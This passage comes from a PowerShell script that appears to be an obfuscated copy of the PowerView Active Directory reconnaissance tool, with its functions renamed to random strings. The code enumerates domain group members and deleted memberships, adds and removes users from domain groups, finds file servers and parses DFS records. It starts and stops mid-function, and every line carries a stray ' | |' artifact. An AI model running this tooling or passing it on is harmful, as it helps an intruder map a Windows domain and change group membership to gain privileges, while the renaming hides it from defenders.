if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } | |
$ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' | |
$ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') | |
$ManagedGroup | |
} | |
} | |
} | |
function MPOE9M0DMember { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[OutputType('PowerView.GroupMember')] | |
[CmdletBinding(DefaultParameterSetName = 'None')] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Parameter(ParameterSetName = 'ManualRecurse')] | |
[Switch] | |
$Recurse, | |
[Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] | |
[Switch] | |
$RecurseUsingMatchingRule, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{ | |
'Properties' = 'member,samaccountname,distinguishedname' | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$ADNameArguments = @{} | |
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
$GroupSearcher = 4I4THHU7 @SearcherArguments | |
if ($GroupSearcher) { | |
if ($PSBoundParameters['RecurseUsingMatchingRule']) { | |
$SearcherArguments['Identity'] = $Identity | |
$SearcherArguments['Raw'] = $True | |
$Group = MPOE9M0D @SearcherArguments | |
if (-not $Group) { | |
Write-Warning "[MPOE9M0DMember] Error searching for group with identity: $Identity" | |
} | |
else { | |
$GroupFoundName = $Group.properties.item('samaccountname')[0] | |
$GroupFoundDN = $Group.properties.item('distinguishedname')[0] | |
if ($PSBoundParameters['Domain']) { | |
$GroupFoundDomain = $Domain | |
} | |
else { | |
if ($GroupFoundDN) { | |
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
} | |
} | |
Write-Verbose "[MPOE9M0DMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." | |
$GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" | |
$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) | |
$Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} | |
} | |
$Null = $SearcherArguments.Remove('Raw') | |
} | |
else { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^S-1-') { | |
$IdentityFilter += "(objectsid=$IdentityInstance)" | |
} | |
elseif ($IdentityInstance -match '^CN=') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[MPOE9M0DMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$GroupSearcher = 4I4THHU7 @SearcherArguments | |
if (-not $GroupSearcher) { | |
Write-Warning "[MPOE9M0DMember] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { | |
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
elseif ($IdentityInstance.Contains('\')) { | |
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical | |
if ($ConvertedIdentityInstance) { | |
$GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) | |
$GroupName = $IdentityInstance.Split('\')[1] | |
$IdentityFilter += "(samAccountName=$GroupName)" | |
$SearcherArguments['Domain'] = $GroupDomain | |
Write-Verbose "[MPOE9M0DMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" | |
$GroupSearcher = 4I4THHU7 @SearcherArguments | |
} | |
} | |
else { | |
$IdentityFilter += "(samAccountName=$IdentityInstance)" | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[MPOE9M0DMember] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
$GroupSearcher.filter = "(&(objectCategory=group)$Filter)" | |
Write-Verbose "[MPOE9M0DMember] MPOE9M0DMember filter string: $($GroupSearcher.filter)" | |
try { | |
$Result = $GroupSearcher.FindOne() | |
} | |
catch { | |
Write-Warning "[MPOE9M0DMember] Error searching for group with identity '$Identity': $_" | |
$Members = @() | |
} | |
$GroupFoundName = '' | |
$GroupFoundDN = '' | |
if ($Result) { | |
$Members = $Result.properties.item('member') | |
if ($Members.count -eq 0) { | |
$Finished = $False | |
$Bottom = 0 | |
$Top = 0 | |
while (-not $Finished) { | |
$Top = $Bottom + 1499 | |
$MemberRange="member;range=$Bottom-$Top" | |
$Bottom += 1500 | |
$Null = $GroupSearcher.PropertiesToLoad.Clear() | |
$Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") | |
$Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') | |
$Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') | |
try { | |
$Result = $GroupSearcher.FindOne() | |
$RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" | |
$Members += $Result.Properties.item($RangedProperty) | |
$GroupFoundName = $Result.properties.item('samaccountname')[0] | |
$GroupFoundDN = $Result.properties.item('distinguishedname')[0] | |
if ($Members.count -eq 0) { | |
$Finished = $True | |
} | |
} | |
catch [System.Management.Automation.MethodInvocationException] { | |
$Finished = $True | |
} | |
} | |
} | |
else { | |
$GroupFoundName = $Result.properties.item('samaccountname')[0] | |
$GroupFoundDN = $Result.properties.item('distinguishedname')[0] | |
$Members += $Result.Properties.item($RangedProperty) | |
} | |
if ($PSBoundParameters['Domain']) { | |
$GroupFoundDomain = $Domain | |
} | |
else { | |
if ($GroupFoundDN) { | |
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
} | |
} | |
} | |
} | |
ForEach ($Member in $Members) { | |
if ($Recurse -and $UseMatchingRule) { | |
$Properties = $_.Properties | |
} | |
else { | |
$ObjectSearcherArguments = $SearcherArguments.Clone() | |
$ObjectSearcherArguments['Identity'] = $Member | |
$ObjectSearcherArguments['Raw'] = $True | |
$ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' | |
$Object = H86VA398 @ObjectSearcherArguments | |
$Properties = $Object.Properties | |
} | |
if ($Properties) { | |
$GroupMember = New-Object PSObject | |
$GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain | |
$GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName | |
$GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN | |
if ($Properties.objectsid) { | |
$MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) | |
} | |
else { | |
$MemberSID = $Null | |
} | |
try { | |
$MemberDN = $Properties.distinguishedname[0] | |
if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { | |
try { | |
if (-not $MemberSID) { | |
$MemberSID = $Properties.cn[0] | |
} | |
$MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments | |
if ($MemberSimpleName) { | |
$MemberDomain = $MemberSimpleName.Split('@')[1] | |
} | |
else { | |
Write-Warning "[MPOE9M0DMember] Error converting $MemberDN" | |
$MemberDomain = $Null | |
} | |
} | |
catch { | |
Write-Warning "[MPOE9M0DMember] Error converting $MemberDN" | |
$MemberDomain = $Null | |
} | |
} | |
else { | |
$MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
} | |
} | |
catch { | |
$MemberDN = $Null | |
$MemberDomain = $Null | |
} | |
if ($Properties.samaccountname) { | |
$MemberName = $Properties.samaccountname[0] | |
} | |
else { | |
try { | |
$MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments | |
} | |
catch { | |
$MemberName = $Properties.cn[0] | |
} | |
} | |
if ($Properties.objectclass -match 'computer') { | |
$MemberObjectClass = 'computer' | |
} | |
elseif ($Properties.objectclass -match 'group') { | |
$MemberObjectClass = 'group' | |
} | |
elseif ($Properties.objectclass -match 'user') { | |
$MemberObjectClass = 'user' | |
} | |
else { | |
$MemberObjectClass = $Null | |
} | |
$GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain | |
$GroupMember | Add-Member Noteproperty 'MemberName' $MemberName | |
$GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN | |
$GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass | |
$GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID | |
$GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') | |
$GroupMember | |
if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { | |
Write-Verbose "[MPOE9M0DMember] Manually recursing on group: $MemberDN" | |
$SearcherArguments['Identity'] = $MemberDN | |
$Null = $SearcherArguments.Remove('Properties') | |
MPOE9M0DMember @SearcherArguments | |
} | |
} | |
} | |
$GroupSearcher.dispose() | |
} | |
} | |
} | |
function MPOE9M0DMemberDeleted { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[OutputType('PowerView.DomainGroupMemberDeleted')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
BEGIN { | |
$SearcherArguments = @{ | |
'Properties' = 'msds-replvaluemetadata','distinguishedname' | |
'Raw' = $True | |
'LDAPFilter' = '(objectCategory=group)' | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } | |
H86VA398 @SearcherArguments | ForEach-Object { | |
$ObjectDN = $_.Properties['distinguishedname'][0] | |
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { | |
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue | |
if ($TempObject) { | |
if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { | |
$Output = New-Object PSObject | |
$Output | Add-Member NoteProperty 'GroupDN' $ObjectDN | |
$Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn | |
$Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated | |
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted | |
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange | |
$Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) | |
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN | |
$Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') | |
$Output | |
} | |
} | |
else { | |
Write-Verbose "[MPOE9M0DMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" | |
} | |
} | |
} | |
} | |
} | |
function Q3PMT528 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True)] | |
[Alias('GroupName', 'GroupIdentity')] | |
[String] | |
$Identity, | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('MemberIdentity', 'Member', 'DistinguishedName')] | |
[String[]] | |
$Members, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$ContextArguments = @{ | |
'Identity' = $Identity | |
} | |
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } | |
$GroupContext = T8NPHIYY @ContextArguments | |
if ($GroupContext) { | |
try { | |
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) | |
} | |
catch { | |
Write-Warning "[Q3PMT528] Error finding the group identity '$Identity' : $_" | |
} | |
} | |
} | |
PROCESS { | |
if ($Group) { | |
ForEach ($Member in $Members) { | |
if ($Member -match '.+\\.+') { | |
$ContextArguments['Identity'] = $Member | |
$UserContext = T8NPHIYY @ContextArguments | |
if ($UserContext) { | |
$UserIdentity = $UserContext.Identity | |
} | |
} | |
else { | |
$UserContext = $GroupContext | |
$UserIdentity = $Member | |
} | |
Write-Verbose "[Q3PMT528] Adding member '$Member' to group '$Identity'" | |
$Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) | |
$Group.Members.Add($Member) | |
$Group.Save() | |
} | |
} | |
} | |
} | |
function SDES9SA8 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True)] | |
[Alias('GroupName', 'GroupIdentity')] | |
[String] | |
$Identity, | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('MemberIdentity', 'Member', 'DistinguishedName')] | |
[String[]] | |
$Members, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$ContextArguments = @{ | |
'Identity' = $Identity | |
} | |
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } | |
$GroupContext = T8NPHIYY @ContextArguments | |
if ($GroupContext) { | |
try { | |
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) | |
} | |
catch { | |
Write-Warning "[SDES9SA8] Error finding the group identity '$Identity' : $_" | |
} | |
} | |
} | |
PROCESS { | |
if ($Group) { | |
ForEach ($Member in $Members) { | |
if ($Member -match '.+\\.+') { | |
$ContextArguments['Identity'] = $Member | |
$UserContext = T8NPHIYY @ContextArguments | |
if ($UserContext) { | |
$UserIdentity = $UserContext.Identity | |
} | |
} | |
else { | |
$UserContext = $GroupContext | |
$UserIdentity = $Member | |
} | |
Write-Verbose "[SDES9SA8] Removing member '$Member' from group '$Identity'" | |
$Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) | |
$Group.Members.Remove($Member) | |
$Group.Save() | |
} | |
} | |
} | |
} | |
function QTABR6IP { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([String])] | |
[CmdletBinding()] | |
Param( | |
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainName', 'Name')] | |
[String[]] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
function Split-Path { | |
Param([String]$Path) | |
if ($Path -and ($Path.split('\\').Count -ge 3)) { | |
$Temp = $Path.split('\\')[2] | |
if ($Temp -and ($Temp -ne '')) { | |
$Temp | |
} | |
} | |
} | |
$SearcherArguments = @{ | |
'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' | |
'Properties' = 'homedirectory,scriptpath,profilepath' | |
} | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
if ($PSBoundParameters['Domain']) { | |
ForEach ($TargetDomain in $Domain) { | |
$SearcherArguments['Domain'] = $TargetDomain | |
$UserSearcher = 4I4THHU7 @SearcherArguments | |
$(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique | |
} | |
} | |
else { | |
$UserSearcher = 4I4THHU7 @SearcherArguments | |
$(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique | |
} | |
} | |
} | |
function 7K9PYEUT { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] | |
[OutputType('System.Management.Automation.PSCustomObject')] | |
[CmdletBinding()] | |
Param( | |
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainName', 'Name')] | |
[String[]] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[ValidateSet('All', 'V1', '1', 'V2', '2')] | |
[String] | |
$Version = 'All' | |
) | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
function Parse-Pkt { | |
[CmdletBinding()] | |
Param( | |
[Byte[]] | |
$Pkt | |
) | |
$bin = $Pkt | |
$blob_version = [bitconverter]::ToUInt32($bin[0..3],0) | |
$blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) | |
$offset = 8 | |
$object_list = @() | |
for($i=1; $i -le $blob_element_count; $i++){ | |
$blob_name_size_start = $offset | |
$blob_name_size_end = $offset + 1 | |
$blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) | |
$blob_name_start = $blob_name_size_end + 1 | |
$blob_name_end = $blob_name_start + $blob_name_size - 1 | |
$blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) | |
$blob_data_size_start = $blob_name_end + 1 | |
$blob_data_size_end = $blob_data_size_start + 3 | |
$blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) | |
$blob_data_start = $blob_data_size_end + 1 | |
$blob_data_end = $blob_data_start + $blob_data_size - 1 | |
$blob_data = $bin[$blob_data_start..$blob_data_end] | |
switch -wildcard ($blob_name) { | |
"\siteroot" { } | |
"\domainroot*" { | |
$root_or_link_guid_start = 0 | |
$root_or_link_guid_end = 15 | |
$root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] | |
$guid = New-Object Guid(,$root_or_link_guid) | |
$prefix_size_start = $root_or_link_guid_end + 1 | |
$prefix_size_end = $prefix_size_start + 1 | |
$prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) | |
$prefix_start = $prefix_size_end + 1 | |
$prefix_end = $prefix_start + $prefix_size - 1 | |
$prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) | |
$short_prefix_size_start = $prefix_end + 1 | |
$short_prefix_size_end = $short_prefix_size_start + 1 | |
$short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) | |
$short_prefix_start = $short_prefix_size_end + 1 | |
$short_prefix_end = $short_prefix_start + $short_prefix_size - 1 | |
$short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) | |
$type_start = $short_prefix_end + 1 | |
$type_end = $type_start + 3 | |
$type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) | |
$state_start = $type_end + 1 | |
$state_end = $state_start + 3 | |
$state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) | |
$comment_size_start = $state_end + 1 | |
$comment_size_end = $comment_size_start + 1 | |
$comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) | |
$comment_start = $comment_size_end + 1 | |
$comment_end = $comment_start + $comment_size - 1 | |
if ($comment_size -gt 0) { | |
$comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) | |
} | |
$prefix_timestamp_start = $comment_end + 1 | |
$prefix_timestamp_end = $prefix_timestamp_start + 7 | |
$prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] | |
$state_timestamp_start = $prefix_timestamp_end + 1 | |
$state_timestamp_end = $state_timestamp_start + 7 | |
$state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] | |
$comment_timestamp_start = $state_timestamp_end + 1 | |
$comment_timestamp_end = $comment_timestamp_start + 7 | |
$comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] | |
$version_start = $comment_timestamp_end + 1 | |
$version_end = $version_start + 3 | |
$version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) | |
$dfs_targetlist_blob_size_start = $version_end + 1 | |
$dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 | |
$dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) | |
$dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 | |
$dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 | |
$dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] | |
$reserved_blob_size_start = $dfs_targetlist_blob_end + 1 | |
$reserved_blob_size_end = $reserved_blob_size_start + 3 | |
$reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) | |
$reserved_blob_start = $reserved_blob_size_end + 1 | |
